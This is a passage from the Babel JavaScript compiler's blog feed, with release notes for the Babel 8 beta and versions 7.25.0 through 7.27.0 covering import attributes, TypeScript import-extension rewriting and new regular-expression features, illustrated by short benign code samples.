<p>All the breaking changes we were planning to include in Babel 8 are done, and we have removed a lot of the technical debt we've accumulated over the years and were unable to remove during Babel 7's lifetime.</p>
<p>We now need to test it in real projects to make sure we got everything right. We have been transpiling our own code using Babel 8 since early alpha versions, but one prerelease user is not enough. 😉</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="babel-8-beta-highlights">Babel 8 Beta: highlights<a href="https://babeljs.io/blog/2025/05/30/babel-8-beta#babel-8-beta-highlights" class="hash-link" aria-label="Direct link to Babel 8 Beta: highlights" title="Direct link to Babel 8 Beta: highlights" translate="no">​</a></h2>
<p>So, what are the main changes that are coming in Babel 8? We have a truly marvelous list of them, which unfortunately this blog's margin is too narrow to contain. </p>
<p>A guiding principle for the breaking changes we've introduced is that updating to Babel 8 should be easy: most of them have been already introduced in Babel 7 behind an option, so that you can start adapting your code before actually performing the update.</p>
<p>We've prepared some great resources to navigate through what's needed to upgrade from Babel 7 to Babel 8:</p>
<ul>
<li class="">a <a href="https://next.babeljs.io/docs/v8-migration" target="_blank" rel="noopener noreferrer" class="">migration guide for Babel users</a>;</li>
<li class="">a <a href="https://next.babeljs.io/docs/v8-migration-api" target="_blank" rel="noopener noreferrer" class="">migration guide for developers using Babel's API</a>, such as Babel plugin authors or direct consumers of our AST;</li>
<li class="">the website with the Babel 8 documentation, currently hosted at <a href="https://next.babeljs.io/" target="_blank" rel="noopener noreferrer" class="">https://next.babeljs.io/</a> until Babel 8 becomes stable.</li>
</ul>
<p>There are many breaking changes that hopefully will not impact our users, but of which we are incredibly excited about: an example is that Babel 8 will ship as an ESM-only package. We've been trying to figure out how to make this work for very long time, and finally with the <code>require(esm)</code> support <a href="https://nodejs.org/api/modules.html#loading-ecmascript-modules-using-require" target="_blank" rel="noopener noreferrer" class="">shipped in Node.js 20</a> we are comfortable with not providing a CommonJS alternative.</p>
<p>You can also read the full changelog of each Babel 8 Alpha release <a href="https://github.com/babel/babel/blob/main/.github/CHANGELOG-v8.md" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="whats-next">What's next?<a href="https://babeljs.io/blog/2025/05/30/babel-8-beta#whats-next" class="hash-link" aria-label="Direct link to What's next?" title="Direct link to What's next?" translate="no">​</a></h2>
<p>A beta release is obviously not a finish line, but a milestone along the path. Before releasing Babel 8 stable (or a release candidate), we're planning to:</p>
<ul>
<li class="">work with the main projects that integrate Babel, to make sure their users can easily update to Babel 8</li>
<li class="">separate our Babel 8 code from the Babel 7 code. They currently live in the same branch, with code specific to each version gated by compile-time feature flags, but there are some remaining tasks that cannot be done this way</li>
</ul>
<p>And obviously... fix the bugs we introduced! If you can, please test Babel 8 beta, and give us feedback by reporting bugs <a href="https://github.com/babel/babel/issues/new?template=bug_report.yml" target="_blank" rel="noopener noreferrer" class="">as GitHub issues</a>.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.27.0 Released: better ecosystem alignment]]></title>
            <link>https://babeljs.io/blog/2025/03/24/7.27.0</link>
            <guid>https://babeljs.io/blog/2025/03/24/7.27.0</guid>
            <pubDate>Mon, 24 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Babel 7.27.0 is out!]]></description>
            <content:encoded><![CDATA[<p>Babel 7.27.0 is out!</p>
<p>This release doesn't include any significant new feature, but it better aligns Babel's behavior with standard JavaScript and other tools.</p>
<p>The code printer will now also print the correct <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import/with" target="_blank" rel="noopener noreferrer" class="">import attributes</a> syntax by default, rather than expecting its users to explicitly enable an option for it.</p>
<p>We also tweaked the behavior of <code>@babel/preset-typescript</code>'s <code>rewriteImportExtensions</code> option, to fix some differences when compared to TypeScript's <code>--rewriteRelativeImportExtensions</code>.</p>
<p>Lastly, we updated our <code>estree</code> compatibility plugin in <code>@babel/parser</code> to generate <code>AccessorProperty</code> nodes for <code>accessor foo = "val"</code> class properties, introduced by the <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer" class="">decorators</a> stage 3 proposal. Note that, for legacy compatibility reasons, <code>@babel/parser</code> only generates an ESTree-compatible AST for class features when the <code>classFeatures</code> option of the <code>estree</code> plugin is enabled.</p>
<p>There are multiple changes that may benefit plugin authors: you can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.27.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2025/03/24/7.27.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="rewriteimportextensions-tweaks-17118"><code>rewriteImportExtensions</code> tweaks (<a href="https://github.com/babel/babel/pull/17118" target="_blank" rel="noopener noreferrer" class="">#17118</a>)<a href="https://babeljs.io/blog/2025/03/24/7.27.0#rewriteimportextensions-tweaks-17118" class="hash-link" aria-label="Direct link to rewriteimportextensions-tweaks-17118" title="Direct link to rewriteimportextensions-tweaks-17118" translate="no">​</a></h3>
<p>Babel 7.26.0 <a href="https://babeljs.io/blog/2024/10/25/7.26.0" target="_blank" rel="noopener noreferrer" class="">added support for dynamic <code>import()</code></a> when using the <a href="https://babeljs.io/docs/babel-preset-typescript#rewriteimportextensions" target="_blank" rel="noopener noreferrer" class=""><code>rewriteImportExtensions</code></a> option of <code>@babel/preset-typescript</code>, to align with TypeScript's new <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#path-rewriting-for-relative-paths" target="_blank" rel="noopener noreferrer" class=""><code>rewriteRelativeImportExtensions</code></a>.</p>
<p>However, we then found a difference when it comes to handling non-relative paths: Babel would rewrite <code>import("/foo/bar/baz.ts")</code> to <code>import("/foo/bar/baz.js")</code>, while TypeScript would leave it as-is. As Babel's goal is to mirror TypeScript's option when possible, we consider this difference to be a bug and we are fixing it in Babel 7.27.0.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="print-import-attributes-by-default-16977">Print import attributes by default (<a href="https://github.com/babel/babel/pull/16977" target="_blank" rel="noopener noreferrer" class="">#16977</a>)<a href="https://babeljs.io/blog/2025/03/24/7.27.0#print-import-attributes-by-default-16977" class="hash-link" aria-label="Direct link to print-import-attributes-by-default-16977" title="Direct link to print-import-attributes-by-default-16977" translate="no">​</a></h3>
<p>Babel first implemented import attributes years ago, when the proposal was still called "module attributes" and had a different syntax:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">data</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./data.json"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>When we shipped standards-compliant import attributes, we kept the existing generator behavior. This means that when printing the following AST:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token maybe-class-name">ImportDeclaration</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">specifiers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">source</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">StringLiteral</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./data.json"</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">attributes</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token maybe-class-name">ImportAttribute</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">key</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Identifier</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"type"</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token literal-property property">value</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">StringLiteral</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"json"</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>we would generate <code>import "./data.json" with type: "json"</code> instead of <code>import "./data.json" with { type: "json" }</code>.</p>
<p><code>@babel/generator</code> will not generate <code>import "./data.json" with { type: "json" }</code>, to match standard JavaScript syntax. It will keep generating the old syntax when either:</p>
<ul>
<li class="">The <a href="https://babeljs.io/docs/babel-generator#options" target="_blank" rel="noopener noreferrer" class=""><code>importAttributesKeyword</code></a> option is set to <code>"with-legacy"</code></li>
<li class="">The AST has been generated by <em>parsing</em> the old syntax, which will define a <code>.extra.deprecatedWithLegacySyntax: true</code> property on the <code>ImportDeclaration</code> node.</li>
</ul>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.26.0 Released: stage 4 features enabled by default, and a new experimental code printer]]></title>
            <link>https://babeljs.io/blog/2024/10/25/7.26.0</link>
            <guid>https://babeljs.io/blog/2024/10/25/7.26.0</guid>
            <pubDate>Fri, 25 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Babel 7.26.0 was just released!]]></description>
            <content:encoded><![CDATA[<p>Babel 7.26.0 was just released!</p>
<p>It enables by default support of two ECMAScript proposals that become standard in the last TC39 meeting, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import/with" target="_blank" rel="noopener noreferrer" class="">import attributes</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Modifier" target="_blank" rel="noopener noreferrer" class="">inline regular expression modifiers</a>, as well as parsing of <a href="https://flow.org/en/docs/enums/" target="_blank" rel="noopener noreferrer" class="">Flow enums</a>.</p>
<p>Babel now also allows plugins to provide asynchronous <code>pre</code>/<code>post</code> hooks, and has an [experimental mode](TODO: Link) to preserve tokens' positions when generating the transformed output.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.26.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2024/10/25/7.26.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="inline-regexp-modifiers-16692">Inline RegExp modifiers (<a href="https://github.com/babel/babel/pull/16692" target="_blank" rel="noopener noreferrer" class="">#16692</a>)<a href="https://babeljs.io/blog/2024/10/25/7.26.0#inline-regexp-modifiers-16692" class="hash-link" aria-label="Direct link to inline-regexp-modifiers-16692" title="Direct link to inline-regexp-modifiers-16692" translate="no">​</a></h3>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Modifier" target="_blank" rel="noopener noreferrer" class="">Inline regular expression modifiers</a> allow enabling or disabling the <code>i</code>/<code>m</code>/<code>s</code> flags for just part of a regular expression. For example, <code>/hello (?i:world)/</code> matches any string that contains <code>"hello "</code> as-is, followed by <code>"world"</code> with any casing: <code>hello world</code> and <code>hello WoRlD</code> match, while <code>Hello world</code> does not.</p>
<p>The proposal reached Stage 4 in the October 2024 TC39 meeting, and will be included in the next version of the JavaScript standard. <code>@babel/preset-env</code> will now automatically transpile this feaatures based on your <a href="https://babeljs.io/docs/options#targets" target="_blank" rel="noopener noreferrer" class="">compilation targets</a>, and you can safely remove <code>@babel/plugin-proposal-regexp-modifiers</code> from your config.</p>
<p>If for any reason you still need to explicitly list the plugin, it has now been renamed to <code>@babel/plugin-transform-regexp-modifiers</code> as the proposal became a standard langauge feature.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="import-attributes-16579">Import attributes (<a href="https://github.com/babel/babel/pull/16579" target="_blank" rel="noopener noreferrer" class="">#16579</a>)<a href="https://babeljs.io/blog/2024/10/25/7.26.0#import-attributes-16579" class="hash-link" aria-label="Direct link to import-attributes-16579" title="Direct link to import-attributes-16579" translate="no">​</a></h3>
<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import/with" target="_blank" rel="noopener noreferrer" class="">import attributes</a> proposal also reached Stage 4 in the October 2024 TC39 meeting. It supports providing some parameters to the underlying platform indicating how to load modules:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./my-module"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">some_param</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"hello"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>Currently, the only widely supported attribute is <code>type</code>, which can be used to import JSON or (on the web) CSS modules:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">data</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./data"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>Babel will now parse import attributes by default, so you can safely remove <code>@babel/plugin-syntax-import-attributes</code> and <code>@babel/plugin-syntax-import-assertions</code> from your configuration.</p>
<div class="theme-admonition theme-admonition-warning admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>warning</div><div class="admonitionContent_pbrs"><p>The old syntax, using <code>assert</code> instead of <code>with</code>, has been removed from the proposal. By default Babel will <strong>not</strong> parse it.</p></div></div>
<p>Since it become a standard JavaScript feature, <code>@babel/plugin-proposal-json-modules</code> has now been renamed to <a href="https://babeljs.io/docs/babel-plugin-transform-json-modules" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-transform-json-modules</code></a>. Note that this plugin is not included in <code>@babel/preset-env</code>, as you'll only want to use it if you are not using a bundler or if your bundler does not support importing JSON modules.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="rewriting-ts-extensions-in-dynamic-import-16794">Rewriting <code>.ts</code> extensions in dynamic <code>import()</code> (<a href="https://github.com/babel/babel/pull/16794" target="_blank" rel="noopener noreferrer" class="">#16794</a>)<a href="https://babeljs.io/blog/2024/10/25/7.26.0#rewriting-ts-extensions-in-dynamic-import-16794" class="hash-link" aria-label="Direct link to rewriting-ts-extensions-in-dynamic-import-16794" title="Direct link to rewriting-ts-extensions-in-dynamic-import-16794" translate="no">​</a></h3>
<p>Babel has supported rewriting <code>.ts</code> extensions to <code>.js</code> in import declarations since last year, using the <a href="https://babeljs.io/docs/babel-preset-typescript#rewriteimportextensions" target="_blank" rel="noopener noreferrer" class=""><code>rewriteImportExtensions</code></a> option of <code>@babel/preset-typescript</code>:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Input</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> hello </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./dep.ts"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> myVar</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">number</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">hello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Output</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> hello </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./dep.js"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> myVar </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">hello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>We are happy to see that TypeScript <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-5-7-beta/#path-rewriting-for-relative-paths" target="_blank" rel="noopener noreferrer" class="">is introducing</a> a similar option. However, there is a difference: Babel only used to transform paths in <em>static</em> import declarations (since they are the only ones that can always be statically analysed), while TypeScript will also support rewriting it in <em>dynamic</em> import expressions.</p>
<p>Babel 7.26 aligns to TypeScript's future behavior, by also rewriting extensions in dynamic <code>import()</code>:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Input</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./dep.ts"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token plain">url</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Output</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./dep.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token plain">url</span><span class="token punctuation">.</span><span class="token function" style="color:#4271ae">replace</span><span class="token punctuation">(</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex special-escape escape" style="color:#3e999f">\.</span><span class="token regex regex-source language-regex" style="color:#3e999f">ts</span><span class="token regex regex-source language-regex anchor function" style="color:#4271ae">$</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">".js"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// simplified</span><br></span></code></pre></div></div>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.25.0 Released: Safari bugfixes and duplicated named capturing groups]]></title>
            <link>https://babeljs.io/blog/2024/07/26/7.25.0</link>
            <guid>https://babeljs.io/blog/2024/07/26/7.25.0</guid>
            <pubDate>Fri, 26 Jul 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Babel 7.25.0 is out!]]></description>
            <content:encoded><![CDATA[<p>Babel 7.25.0 is out!</p>
<p><code>@babel/preset-env</code> now supports the <a href="https://github.com/tc39/proposal-duplicate-named-capturing-groups" target="_blank" rel="noopener noreferrer" class="">duplicated named capturing groups</a> proposal for Regular Expressions by default, as well as a bugfix for class fields when targeting Safari. This version also improves support for compiling <a href="https://babeljs.io/docs/babel-plugin-proposal-json-modules" target="_blank" rel="noopener noreferrer" class="">JSON module imports</a> to CommonJS, and adds support for config files to <code>@babel/node</code>'s <code>--eval</code> mode.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.25.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<blockquote>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2024/07/26/7.25.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="duplicated-named-capturing-groups-16445">Duplicated named capturing groups (<a href="https://github.com/babel/babel/pull/16445" target="_blank" rel="noopener noreferrer" class="">#16445</a>)<a href="https://babeljs.io/blog/2024/07/26/7.25.0#duplicated-named-capturing-groups-16445" class="hash-link" aria-label="Direct link to duplicated-named-capturing-groups-16445" title="Direct link to duplicated-named-capturing-groups-16445" translate="no">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-duplicate-named-capturing-groups" target="_blank" rel="noopener noreferrer" class="">duplicated named capturing groups</a> proposal allows re-using the same name for groups in alternative branches within a regular expression. For example, a RegExp that matches dates either in the <code>dd/mm/yyyy</code> or <code>yyyy-mm-dd</code> format could be written as</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> re </span><span class="token operator">=</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">day</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex escape" style="color:#3e999f">\/</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">month</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex escape" style="color:#3e999f">\/</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">year</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex alternation keyword" style="color:#8959a8">|</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">year</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">&gt;</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\d</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">)</span><span class="token regex regex-source language-regex" style="color:#3e999f">-</span><span class="token regex regex-source language-regex group punctuation" style="color:#3e999f">(?&lt;</span><span class="token regex regex-source language-regex group punctuation group-name variable" style="color:#c82829">month</span><span class="token regex regex-source 